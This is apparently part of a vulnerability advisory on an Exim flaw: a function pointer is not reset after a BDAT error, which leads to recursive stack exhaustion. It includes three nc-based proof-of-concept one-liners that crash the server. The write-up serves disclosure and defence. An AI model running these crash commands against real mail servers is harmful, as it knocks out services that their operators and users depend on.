========================================================================
CVE-2020-BDATA -- Failure to reset function pointer after BDAT error
========================================================================

To read SMTP commands and data from a client, Exim calls the function
pointer receive_getc, which points to either smtp_getc() (a cleartext
connection) or tls_getc() (an encrypted connection). If the client uses
the BDAT command (instead of DATA) to send a mail, then Exim saves the
current value of receive_getc to the function pointer lwr_receive_getc
and sets receive_getc to the wrapper function bdat_getc():

5242     case BDAT_CMD:
....
5271       lwr_receive_getc = receive_getc;
....
5275       receive_getc = bdat_getc;

Exim normally resets receive_getc to its original value
(lwr_receive_getc) when the client ends its mail. Unfortunately, Exim
fails to reset receive_getc in some cases; for example, if the mail is
larger than message_size_limit (50MB by default). Consequently, Exim
re-enters smtp_setup_msg() while receive_getc still points to
bdat_getc(), and:

- smtp_read_command() calls receive_getc and hence bdat_getc(), which
  also calls smtp_read_command(), which is not a re-entrant function and
  may have unintended consequences;

- if the client issues another BDAT command, then receive_getc and
  lwr_receive_getc both point to bdat_getc(), which calls itself
  recursively and leads to stack exhaustion; for example:

(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo "BDAT $((52428800+100))"; perl -e 'print "A" x (52428800+1)'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'BDAT 8388608') | nc -n -v 192.168.56.105 25
Program received signal SIGSEGV, Segmentation fault.

(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo "BDAT $((52428800+100))"; perl -e 'print "A" x (52428800+1)'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'BDAT 0') | nc -n -v 192.168.56.105 25
Program received signal SIGSEGV, Segmentation fault.

(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo "BDAT $((52428800+100))"; perl -e 'print "A" x (52428800+1)'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'BDAT 0 LAST') | nc -n -v 192.168.56.105 25
Program received signal SIGSEGV, Segmentation fault.

This vulnerability is very similar to CVE-2017-16944, discovered by Meh
Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201).

